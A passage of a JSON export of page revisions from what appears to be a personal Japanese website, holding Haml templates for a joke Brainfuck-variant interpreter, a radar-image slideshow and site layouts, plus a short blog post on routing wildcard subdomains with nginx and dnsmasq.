\".\").replace(/用意/g, \",\").replace(/!/g, \"[\").replace(/。/g, \"]\")\r\n }\r\n\r\n window.onload = function () {\r\n var code = document.getElementById(\"code\"),\r\n stdi = document.getElementById(\"stdi\"),\r\n stdo = document.getElementById(\"stdo\"),\r\n interprete = document.getElementById(\"interprete\");\r\n \r\n interprete.onclick = function () {\r\n var out;\r\n var bf_code = Brainfuck.preprocess(hadouhou2bf(code.value));\r\n out = Brainfuck.interprete.stats(bf_code, stdi.value);\r\n stdo.value = out.output;\r\n }\r\n }","created_at":"2011-08-14T12:16:25.000Z","updated_at":"2011-08-14T12:16:25.000Z"},{"id":1846,"name":"波動砲","body":"haml\r\n%script{:src =\u003e \"http://ssig33.com/js/brainfuck.js\"}\r\n%title 波動砲、発射ーーー!!!\r\n%h1 波動砲\r\n%h2 発射ーーー!!\r\n%div\r\n %p Chrome で動作を確認\r\n %p \r\n 処理系は\r\n %a{:href =\u003e \"http://unpunk.planspielpopband.de/brainfuck/info.html\"}これ\r\n%div\r\n %br\r\n %textarea#code{:cols =\u003e \"60\", :rows =\u003e \"10\"}\r\n :preserve\r\n 波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲!発射波動砲波動砲波動砲波動砲波動砲波動砲波動砲発射波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲発射波動砲波動砲波動砲発射波動砲、、、、−。発射波動砲波動砲!発射波動砲!波動砲波動砲波動砲波動砲波動砲波動砲波動砲!!波動砲波動砲波動砲!発射波動砲波動砲!、、波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲!発射!波動砲波動砲波動砲!−−−−−−!−−−−−−−−!発射波動砲!発射!\r\n -#++++++++++[\u003e+++++++\u003e++++++++++\u003e+++\u003e+\u003c\u003c\u003c\u003c-]\u003e++.\u003e+.+++++++..+++.\u003e++.\u003c\u003c+++++++++++++++.\u003e.+++.------.--------.\u003e+.\u003e.\r\n -#++++++++++[\u003e+++++++\u003e++++++++++\u003e+++\u003e+\u003c\u003c\u003c\u003c−]\u003e++.\u003e+.+++++++..+++.\u003e++.\u003c\u003c+++++++++++++++.\u003e.+++.−−−−−−.−−−−−−−−.\u003e+.\u003e.\r\n %br\r\n %textarea#stdi{:cols =\u003e \"60\", :rows =\u003e \"1\"} 入力\r\n %br\r\n %textarea#stdo{:cols =\u003e \"90\", :rows =\u003e \"10\"} 出力\r\n %br\r\n #buttons\r\n %button#interprete 発射ーー!!\r\n:javascript\r\n \"use strict\";\r\n \r\n var hadouhou2bf = function(text){\r\n return text.replace(/波動砲/g, \"+\").replace(/、/g, \"\u003c\").replace(/発射/g,\"\u003e\").replace(/−/g, \"-\").replace(/!/g, \".\").replace(/用意/g, \",\").replace(/!/g, \"[\").replace(/。/g, \"]\")\r\n }\r\n\r\n window.onload = function () {\r\n var code = document.getElementById(\"code\"),\r\n stdi = document.getElementById(\"stdi\"),\r\n stdo = document.getElementById(\"stdo\"),\r\n interprete = document.getElementById(\"interprete\");\r\n \r\n interprete.onclick = function () {\r\n var out;\r\n var bf_code = Brainfuck.preprocess(hadouhou2bf(code.value));\r\n out = Brainfuck.interprete.stats(bf_code, stdi.value);\r\n stdo.value = out.output;\r\n }\r\n }","created_at":"2011-08-14T12:16:57.000Z","updated_at":"2011-08-14T12:16:57.000Z"},{"id":1847,"name":"js","body":"haml\r\n!!!\r\n%title js\r\n%div\r\n -Page.where(\"name like 'js/%'\").map{|x| x.name}.uniq.each do |name|\r\n =name","created_at":"2011-08-15T00:58:21.000Z","updated_at":"2011-08-15T00:58:21.000Z"},{"id":1848,"name":"js","body":"haml\r\n!!!\r\n%title js\r\n%div\r\n -Page.where(\"name like 'js/%'\").map{|x| x.name}.uniq.each do |name|\r\n %p\r\n %a{:href =\u003e \"/#{name}\"}=name","created_at":"2011-08-15T00:59:07.000Z","updated_at":"2011-08-15T00:59:07.000Z"},{"id":1849,"name":"波動砲","body":"haml\r\n%script{:src =\u003e \"http://ssig33.com/js/brainfuck.js\"}\r\n%title 波動砲、発射ーーー!!!\r\n%div\r\n %p\r\n %a{:href =\u003e \"/\"}トップに戻る\r\n%h1 波動砲\r\n%h2 発射ーーー!!\r\n%div\r\n %p Chrome で動作を確認\r\n %p \r\n 処理系は\r\n %a{:href =\u003e \"http://unpunk.planspielpopband.de/brainfuck/info.html\"}これ\r\n%div\r\n %br\r\n %textarea#code{:cols =\u003e \"60\", :rows =\u003e \"10\"}\r\n :preserve\r\n 波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲!発射波動砲波動砲波動砲波動砲波動砲波動砲波動砲発射波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲発射波動砲波動砲波動砲発射波動砲、、、、−。発射波動砲波動砲!発射波動砲!波動砲波動砲波動砲波動砲波動砲波動砲波動砲!!波動砲波動砲波動砲!発射波動砲波動砲!、、波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲!発射!波動砲波動砲波動砲!−−−−−−!−−−−−−−−!発射波動砲!発射!\r\n -#++++++++++[\u003e+++++++\u003e++++++++++\u003e+++\u003e+\u003c\u003c\u003c\u003c-]\u003e++.\u003e+.+++++++..+++.\u003e++.\u003c\u003c+++++++++++++++.\u003e.+++.------.--------.\u003e+.\u003e.\r\n -#++++++++++[\u003e+++++++\u003e++++++++++\u003e+++\u003e+\u003c\u003c\u003c\u003c−]\u003e++.\u003e+.+++++++..+++.\u003e++.\u003c\u003c+++++++++++++++.\u003e.+++.−−−−−−.−−−−−−−−.\u003e+.\u003e.\r\n %br\r\n %textarea#stdi{:cols =\u003e \"60\", :rows =\u003e \"1\"} 入力\r\n %br\r\n %textarea#stdo{:cols =\u003e \"90\", :rows =\u003e \"10\"} 出力\r\n %br\r\n #buttons\r\n %button#interprete 発射ーー!!\r\n:javascript\r\n \"use strict\";\r\n \r\n var hadouhou2bf = function(text){\r\n return text.replace(/波動砲/g, \"+\").replace(/、/g, \"\u003c\").replace(/発射/g,\"\u003e\").replace(/−/g, \"-\").replace(/!/g, \".\").replace(/用意/g, \",\").replace(/!/g, \"[\").replace(/。/g, \"]\")\r\n }\r\n\r\n window.onload = function () {\r\n var code = document.getElementById(\"code\"),\r\n stdi = document.getElementById(\"stdi\"),\r\n stdo = document.getElementById(\"stdo\"),\r\n interprete = document.getElementById(\"interprete\");\r\n \r\n interprete.onclick = function () {\r\n var out;\r\n var bf_code = Brainfuck.preprocess(hadouhou2bf(code.value));\r\n out = Brainfuck.interprete.stats(bf_code, stdi.value);\r\n stdo.value = out.output;\r\n }\r\n }","created_at":"2011-08-15T01:01:02.000Z","updated_at":"2011-08-15T01:01:02.000Z"},{"id":1850,"name":"波動砲","body":"haml\r\n!!!\r\n%script{:src =\u003e \"http://ssig33.com/js/brainfuck.js\"}\r\n%title 波動砲、発射ーーー!!!\r\n%div\r\n %p\r\n %a{:href =\u003e \"/\"}トップに戻る\r\n%h1 波動砲\r\n%h2 発射ーーー!!\r\n%div\r\n %p Chrome で動作を確認\r\n %p \r\n 処理系は\r\n %a{:href =\u003e \"http://unpunk.planspielpopband.de/brainfuck/info.html\"}これ\r\n%div\r\n %br\r\n %textarea#code{:cols =\u003e \"60\", :rows =\u003e \"10\"}\r\n :preserve\r\n 波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲!発射波動砲波動砲波動砲波動砲波動砲波動砲波動砲発射波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲発射波動砲波動砲波動砲発射波動砲、、、、−。発射波動砲波動砲!発射波動砲!波動砲波動砲波動砲波動砲波動砲波動砲波動砲!!波動砲波動砲波動砲!発射波動砲波動砲!、、波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲!発射!波動砲波動砲波動砲!−−−−−−!−−−−−−−−!発射波動砲!発射!\r\n -#++++++++++[\u003e+++++++\u003e++++++++++\u003e+++\u003e+\u003c\u003c\u003c\u003c-]\u003e++.\u003e+.+++++++..+++.\u003e++.\u003c\u003c+++++++++++++++.\u003e.+++.------.--------.\u003e+.\u003e.\r\n -#++++++++++[\u003e+++++++\u003e++++++++++\u003e+++\u003e+\u003c\u003c\u003c\u003c−]\u003e++.\u003e+.+++++++..+++.\u003e++.\u003c\u003c+++++++++++++++.\u003e.+++.−−−−−−.−−−−−−−−.\u003e+.\u003e.\r\n %br\r\n %textarea#stdi{:cols =\u003e \"60\", :rows =\u003e \"1\"} 入力\r\n %br\r\n %textarea#stdo{:cols =\u003e \"90\", :rows =\u003e \"10\"} 出力\r\n %br\r\n #buttons\r\n %button#interprete 発射ーー!!\r\n:javascript\r\n \"use strict\";\r\n \r\n var hadouhou2bf = function(text){\r\n return text.replace(/波動砲/g, \"+\").replace(/、/g, \"\u003c\").replace(/発射/g,\"\u003e\").replace(/−/g, \"-\").replace(/!/g, \".\").replace(/用意/g, \",\").replace(/!/g, \"[\").replace(/。/g, \"]\")\r\n }\r\n\r\n window.onload = function () {\r\n var code = document.getElementById(\"code\"),\r\n stdi = document.getElementById(\"stdi\"),\r\n stdo = document.getElementById(\"stdo\"),\r\n interprete = document.getElementById(\"interprete\");\r\n \r\n interprete.onclick = function () {\r\n var out;\r\n var bf_code = Brainfuck.preprocess(hadouhou2bf(code.value));\r\n out = Brainfuck.interprete.stats(bf_code, stdi.value);\r\n stdo.value = out.output;\r\n }\r\n }","created_at":"2011-08-15T06:16:00.000Z","updated_at":"2011-08-15T06:16:00.000Z"},{"id":1851,"name":"波動砲","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%script{:src =\u003e \"http://ssig33.com/js/brainfuck.js\"}\r\n%title 波動砲、発射ーーー!!!\r\n%div\r\n %p\r\n %a{:href =\u003e \"/\"}トップに戻る\r\n%h1 波動砲\r\n%h2 発射ーーー!!\r\n%div\r\n %p Chrome で動作を確認\r\n %p \r\n 処理系は\r\n %a{:href =\u003e \"http://unpunk.planspielpopband.de/brainfuck/info.html\"}これ\r\n%div\r\n %br\r\n %textarea#code{:cols =\u003e \"60\", :rows =\u003e \"10\"}\r\n :preserve\r\n 波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲!発射波動砲波動砲波動砲波動砲波動砲波動砲波動砲発射波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲発射波動砲波動砲波動砲発射波動砲、、、、−。発射波動砲波動砲!発射波動砲!波動砲波動砲波動砲波動砲波動砲波動砲波動砲!!波動砲波動砲波動砲!発射波動砲波動砲!、、波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲!発射!波動砲波動砲波動砲!−−−−−−!−−−−−−−−!発射波動砲!発射!\r\n -#++++++++++[\u003e+++++++\u003e++++++++++\u003e+++\u003e+\u003c\u003c\u003c\u003c-]\u003e++.\u003e+.+++++++..+++.\u003e++.\u003c\u003c+++++++++++++++.\u003e.+++.------.--------.\u003e+.\u003e.\r\n -#++++++++++[\u003e+++++++\u003e++++++++++\u003e+++\u003e+\u003c\u003c\u003c\u003c−]\u003e++.\u003e+.+++++++..+++.\u003e++.\u003c\u003c+++++++++++++++.\u003e.+++.−−−−−−.−−−−−−−−.\u003e+.\u003e.\r\n %br\r\n %textarea#stdi{:cols =\u003e \"60\", :rows =\u003e \"1\"} 入力\r\n %br\r\n %textarea#stdo{:cols =\u003e \"90\", :rows =\u003e \"10\"} 出力\r\n %br\r\n #buttons\r\n %button#interprete 発射ーー!!\r\n:javascript\r\n \"use strict\";\r\n \r\n var hadouhou2bf = function(text){\r\n return text.replace(/波動砲/g, \"+\").replace(/、/g, \"\u003c\").replace(/発射/g,\"\u003e\").replace(/−/g, \"-\").replace(/!/g, \".\").replace(/用意/g, \",\").replace(/!/g, \"[\").replace(/。/g, \"]\")\r\n }\r\n\r\n window.onload = function () {\r\n var code = document.getElementById(\"code\"),\r\n stdi = document.getElementById(\"stdi\"),\r\n stdo = document.getElementById(\"stdo\"),\r\n interprete = document.getElementById(\"interprete\");\r\n \r\n interprete.onclick = function () {\r\n var out;\r\n var bf_code = Brainfuck.preprocess(hadouhou2bf(code.value));\r\n out = Brainfuck.interprete.stats(bf_code, stdi.value);\r\n stdo.value = out.output;\r\n }\r\n }","created_at":"2011-08-15T06:17:32.000Z","updated_at":"2011-08-15T06:17:32.000Z"},{"id":1852,"name":"radar/anime","body":"haml\r\n:javascript\r\n #{Dir.glob(\"public/radar/*png\")}","created_at":"2011-08-26T06:29:55.000Z","updated_at":"2011-08-26T06:29:55.000Z"},{"id":1853,"name":"radar/anime","body":"haml\r\n:javascript\r\n #{Dir.glob(\"public/radar/*png\").sort{|a,b| File::Stat.new(a).mtime.to_i \u003c=\u003e File::Stat.new(b).to_i}map{|x| \"/radar/\"+x.split(\"/\").last}","created_at":"2011-08-26T06:31:19.000Z","updated_at":"2011-08-26T06:31:19.000Z"},{"id":1854,"name":"radar/anime","body":"haml\r\n:javascript\r\n #{Dir.glob(\"public/radar/*png\").sort{|a,b| File::Stat.new(a).mtime.to_i \u003c=\u003e File::Stat.new(b).to_i}.map{|x| \"/radar/\"+x.split(\"/\").last}","created_at":"2011-08-26T06:31:34.000Z","updated_at":"2011-08-26T06:31:34.000Z"},{"id":1855,"name":"radar/anime","body":"haml\r\n:javascript\r\n #{Dir.glob(\"public/radar/*png\").sort{|a,b| File::Stat.new(a).mtime.to_i \u003c=\u003e File::Stat.new(b).to_i}.map{|x| \"/radar/\"+x.split(\"/\").last}}","created_at":"2011-08-26T06:31:54.000Z","updated_at":"2011-08-26T06:31:54.000Z"},{"id":1856,"name":"radar/anime","body":"haml\r\n:javascript\r\n #{Dir.glob(\"public/radar/*png\").sort{|a,b| File::Stat.new(a).mtime.to_i \u003c=\u003e File::Stat.new(b).mtime.to_i}.map{|x| \"/radar/\"+x.split(\"/\").last}}","created_at":"2011-08-26T06:32:12.000Z","updated_at":"2011-08-26T06:32:12.000Z"},{"id":1857,"name":"radar/anime","body":"haml\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#img\r\n:javascript\r\n var list = #{Dir.glob(\"public/radar/*png\").sort{|a,b| -File::Stat.new(a).mtime.to_i \u003c=\u003e -File::Stat.new(b).mtime.to_i}.map{|x| \"/radar/\"+x.split(\"/\").last}}\r\n var image = function(url){\r\n $(\"#img\").html(\"\u003cimg src='\"+url+\"'\u003e\")\r\n }\r\n $.each(list, function(){\r\n window.setTimeout(image(this), 3000)\r\n })\r\n ","created_at":"2011-08-26T06:36:05.000Z","updated_at":"2011-08-26T06:36:05.000Z"},{"id":1858,"name":"radar/anime","body":"haml\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#img\r\n:javascript\r\n var list = #{Dir.glob(\"public/radar/*png\").sort{|a,b| -File::Stat.new(a).mtime.to_i \u003c=\u003e -File::Stat.new(b).mtime.to_i}.map{|x| \"/radar/\"+x.split(\"/\").last}}\r\n var image = function(url){\r\n $(\"#img\").html(\"\u003cimg src='\"+url+\"'\u003e\")\r\n }\r\n $.each(list, function(){\r\n window.setTimeout(\"image(this)\", 3000)\r\n })","created_at":"2011-08-26T06:37:05.000Z","updated_at":"2011-08-26T06:37:05.000Z"},{"id":1859,"name":"radar/anime","body":"haml\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#img\r\n:javascript\r\n var list = #{Dir.glob(\"public/radar/*png\").sort{|a,b| -File::Stat.new(a).mtime.to_i \u003c=\u003e -File::Stat.new(b).mtime.to_i}.map{|x| \"/radar/\"+x.split(\"/\").last}}\r\n var image = function(url){\r\n $(\"#img\").html(\"\u003cimg src='\"+url+\"'\u003e\")\r\n }\r\n $.each(list, function(){\r\n window.setTimeout(\"image('\"+this+\"')\", 3000)\r\n })","created_at":"2011-08-26T06:38:03.000Z","updated_at":"2011-08-26T06:38:03.000Z"},{"id":1860,"name":"radar/anime","body":"haml\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#img\r\n:javascript\r\n var list = #{Dir.glob(\"public/radar/*png\").sort{|a,b| -File::Stat.new(a).mtime.to_i \u003c=\u003e -File::Stat.new(b).mtime.to_i}.map{|x| \"/radar/\"+x.split(\"/\").last}}\r\n var image = function(url){\r\n $(\"#img\").html(\"\u003cimg src='\"+url+\"'\u003e\")\r\n }\r\n $.each(list, window.setTimeout(\"image('\"+this+\"')\", 3000))","created_at":"2011-08-26T06:39:36.000Z","updated_at":"2011-08-26T06:39:36.000Z"},{"id":1861,"name":"radar/anime","body":"haml\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#img\r\n:javascript\r\n var image = function(url){$(\"#img\").html(\"\u003cimg alt='' src='\"+url+\"' /\u003e\")}\r\n var list = #{Dir.glob(\"public/radar/*png\").sort{|a,b| -File::Stat.new(a).mtime.to_i \u003c=\u003e -File::Stat.new(b).mtime.to_i}.map{|x| \"/radar/\"+x.split(\"/\").last}}\r\n var index = 0\r\n image(list[index])","created_at":"2011-08-26T06:42:29.000Z","updated_at":"2011-08-26T06:42:29.000Z"},{"id":1862,"name":"radar/anime","body":"haml\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#img\r\n:javascript\r\n var image = function(url){$(\"#img\").html(\"\u003cimg alt='' src='\"+url+\"' /\u003e\")}\r\n var list = #{Dir.glob(\"public/radar/*png\").sort{|a,b| -File::Stat.new(a).mtime.to_i \u003c=\u003e -File::Stat.new(b).mtime.to_i}.map{|x| \"/radar/\"+x.split(\"/\").last}}\r\n var index = 0\r\n image(list[index])\r\n window.setTimeout(function(){\r\n index++\r\n image(list[index])\r\n }, 2000)","created_at":"2011-08-26T06:43:22.000Z","updated_at":"2011-08-26T06:43:22.000Z"},{"id":1863,"name":"radar/anime","body":"haml\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#img\r\n:javascript\r\n var image = function(url){$(\"#img\").html(\"\u003cimg alt='' src='\"+url+\"' /\u003e\")}\r\n var list = #{Dir.glob(\"public/radar/*png\").sort{|a,b| -File::Stat.new(a).mtime.to_i \u003c=\u003e -File::Stat.new(b).mtime.to_i}.map{|x| \"/radar/\"+x.split(\"/\").last}}\r\n var index = 0\r\n var loop = function(){\r\n index++\r\n image(list[index])\r\n window.setTimeout(loop(), 2000)\r\n }\r\n loop();","created_at":"2011-08-26T06:46:24.000Z","updated_at":"2011-08-26T06:46:24.000Z"},{"id":1864,"name":"radar/anime","body":"haml\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#img\r\n:javascript\r\n var image = function(url){$(\"#img\").html(\"\u003cimg alt='' src='\"+url+\"' /\u003e\")}\r\n var list = #{Dir.glob(\"public/radar/*png\").sort{|a,b| -File::Stat.new(a).mtime.to_i \u003c=\u003e -File::Stat.new(b).mtime.to_i}.map{|x| \"/radar/\"+x.split(\"/\").last}}\r\n var index = 0\r\n var loop = function(){\r\n index++\r\n image(list[index])\r\n window.setTimeout(\"loop()\", 2000)\r\n }\r\n loop();","created_at":"2011-08-26T06:47:23.000Z","updated_at":"2011-08-26T06:47:23.000Z"},{"id":1865,"name":"radar/cache","body":":haml\r\n-Dir.glob(\"public/radar/*png\").sort{|a,b| -File::Stat.new(a).mtime.to_i \u003c=\u003e -File::Stat.new(b).mtime.to_i}.map{|x| \"/radar/\"+x.split(\"/\").last}.each do |i|\r\n %img{:src =\u003e i}\r\n %br","created_at":"2011-08-26T06:52:53.000Z","updated_at":"2011-08-26T06:52:53.000Z"},{"id":1866,"name":"radar/cache","body":"haml\r\n-Dir.glob(\"public/radar/*png\").sort{|a,b| -File::Stat.new(a).mtime.to_i \u003c=\u003e -File::Stat.new(b).mtime.to_i}.map{|x| \"/radar/\"+x.split(\"/\").last}.each do |i|\r\n %img{:src =\u003e i}\r\n %br","created_at":"2011-08-26T06:53:01.000Z","updated_at":"2011-08-26T06:53:01.000Z"},{"id":1867,"name":"kure.ssig33.com","body":"title くれ\r\n# なんかくれ\r\n## 金くれ\r\n三菱東京UFJ銀行 新宿新都心支店 0090551 コイケリク","created_at":"2011-09-19T13:10:00.000Z","updated_at":"2011-09-19T13:10:00.000Z"},{"id":1868,"name":"サブドメインを沢山使いたい","body":"## サブドメインを沢山使いたい\r\nhttp://kure.ssig33.com http://darui.ssig33.com http://nemui.ssig33.com みたいのを沢山作ってコンテンツをそこに置きたい。めんどくさいことはしたくなくて、設定ファイルをいじるのは最初の一回だけにしたい。コンテンツの更新はブラウザ経由でやりたい。\r\n\r\n置きたいコンテンツは精々静的な HTML 一枚。\r\n\r\nそんな需要が僕にはあったので解決してみた。\r\n\r\nもともと ssig33.com は Sinatra で作ったアプリで、その前段に nginx がいるという構成になっていた。 nginx の設定は\r\n\r\n```\r\nupstream ssig33.com{\r\n server localhost:9233;\r\n}\r\nserver {\r\n listen 80;\r\n root /home/ssig33/dev/site/public;\r\n index index.html index.htm;\r\n\r\n server_name ssig33.com;\r\n\r\n location / {\r\n proxy_pass http://ssig33.com/;\r\n }\r\n```\r\n\r\nこんな感じだった。というわけでいろいろ調べた結果これ\r\n\r\n```\r\nserver {\r\n server_name ~^(?\u003cdomain\u003e.+)\\.ssig33\\.com$;\r\n location ~^(?\u003cpass\u003e.+)$ {\r\n proxy_pass http://ssig33.com/$domain.ssig33.com$pass;\r\n }\r\n}\r\n```\r\n\r\nを加えた。そうすると http://hoge.ssig33.com/huga にアクセスした時に http://ssig33.com/hoge.ssig33.com/huga が表示される。 http://ssig33.com のデータは Web から編集出来るので気楽にサブドメインにコンテンツを配置出来るようになった。面白い。\r\n\r\nnginx では sever_name とかはちゃんと書いた奴 -\u003e 正規表現で書いた奴という順序で評価される(っぽい)ので、 text.ssig33.com とかそういう既存の奴の邪魔もしない。\r\n\r\nところで ssig33.com では自宅サーバーで動いていて、自宅内ネットワークでは dnsmasq を使って名前解決していたのだけど、これまで通り hosts ファイルをばらまくだけではどうにもならない。でもちゃんと設定はあって、 dnsmasq.conf に \r\n\r\n```\r\naddress=/.ssig33.com/192.168.1.107\r\n```\r\n\r\nとか書いとくと意図した通りに動く(っぽい)。","created_at":"2011-09-19T13:32:59.000Z","updated_at":"2011-09-19T13:32:59.000Z"},{"id":1869,"name":"サブドメインを沢山使いたい","body":"[トップに戻る](/)\r\n## サブドメインを沢山使いたい\r\nhttp://kure.ssig33.com http://darui.ssig33.com http://nemui.ssig33.com みたいのを沢山作ってコンテンツをそこに置きたい。めんどくさいことはしたくなくて、設定ファイルをいじるのは最初の一回だけにしたい。コンテンツの更新はブラウザ経由でやりたい。\r\n\r\n置きたいコンテンツは精々静的な HTML 一枚。\r\n\r\nそんな需要が僕にはあったので解決してみた。\r\n\r\nもともと ssig33.com は Sinatra で作ったアプリで、その前段に nginx がいるという構成になっていた。 nginx の設定は\r\n\r\n```\r\nupstream ssig33.com{\r\n server localhost:9233;\r\n}\r\nserver {\r\n listen 80;\r\n root /home/ssig33/dev/site/public;\r\n index index.html index.htm;\r\n\r\n server_name ssig33.com;\r\n\r\n location / {\r\n proxy_pass http://ssig33.com/;\r\n }\r\n```\r\n\r\nこんな感じだった。というわけでいろいろ調べた結果これ\r\n\r\n```\r\nserver {\r\n server_name ~^(?\u003cdomain\u003e.+)\\.ssig33\\.com$;\r\n location ~^(?\u003cpass\u003e.+)$ {\r\n proxy_pass http://ssig33.com/$domain.ssig33.com$pass;\r\n }\r\n}\r\n```\r\n\r\nを加えた。そうすると http://hoge.ssig33.com/huga にアクセスした時に http://ssig33.com/hoge.ssig33.com/huga が表示される。 http://ssig33.com のデータは Web から編集出来るので気楽にサブドメインにコンテンツを配置出来るようになった。面白い。\r\n\r\nnginx では sever_name とかはちゃんと書いた奴 -\u003e 正規表現で書いた奴という順序で評価される(っぽい)ので、 text.ssig33.com とかそういう既存の奴の邪魔もしない。\r\n\r\nところで ssig33.com では自宅サーバーで動いていて、自宅内ネットワークでは dnsmasq を使って名前解決していたのだけど、これまで通り hosts ファイルをばらまくだけではどうにもならない。でもちゃんと設定はあって、 dnsmasq.conf に \r\n\r\n```\r\naddress=/.ssig33.com/192.168.1.107\r\n```\r\n\r\nとか書いとくと意図した通りに動く(っぽい)。","created_at":"2011-09-19T13:43:28.000Z","updated_at":"2011-09-19T13:43:28.000Z"},{"id":1870,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all~@page.html(request)\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n\u003c!-- layout from Database --\u003e","created_at":"2011-09-19T13:47:19.000Z","updated_at":"2011-09-19T13:47:19.000Z"},{"id":1871,"name":"recent","body":"haml recent update\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all\r\n %h1 ssig33.com\r\n %h2 recent update\r\n %p\r\n %a{:href =\u003e \"/feed\"} feed\r\n -posts = []\r\n -Page.order(\"created_at desc\").limit(60).each do |p|\r\n -flag = true\r\n -posts.each do |t|\r\n - flag = false if t.name == p.name\r\n - posts \u003c\u003c p if flag\r\n %p \r\n -posts.each do |post|\r\n %a{href: \"/#{post.name}\"}=h post.name\r\n \r\n","created_at":"2011-09-19T13:52:27.000Z","updated_at":"2011-09-19T13:52:27.000Z"},{"id":1872,"name":"recent","body":"haml recent update\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - recent update\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all\r\n %h1 ssig33.com\r\n %h2 recent update\r\n %p\r\n %a{:href =\u003e \"/feed\"} feed\r\n -posts = []\r\n -Page.order(\"created_at desc\").limit(60).each do |p|\r\n -flag = true\r\n -posts.each do |t|\r\n - flag = false if t.name == p.name\r\n - posts \u003c\u003c p if flag\r\n %p \r\n -posts.each do |post|\r\n %a{href: \"/#{post.name}\"}=h post.name\r\n \r\n","created_at":"2011-09-19T13:52:46.000Z","updated_at":"2011-09-19T13:52:46.000Z"},{"id":1873,"name":"recent","body":"haml recent update\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - recent update\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all\r\n %h1 ssig33.com\r\n %h2 recent update\r\n %p\r\n %a{:href 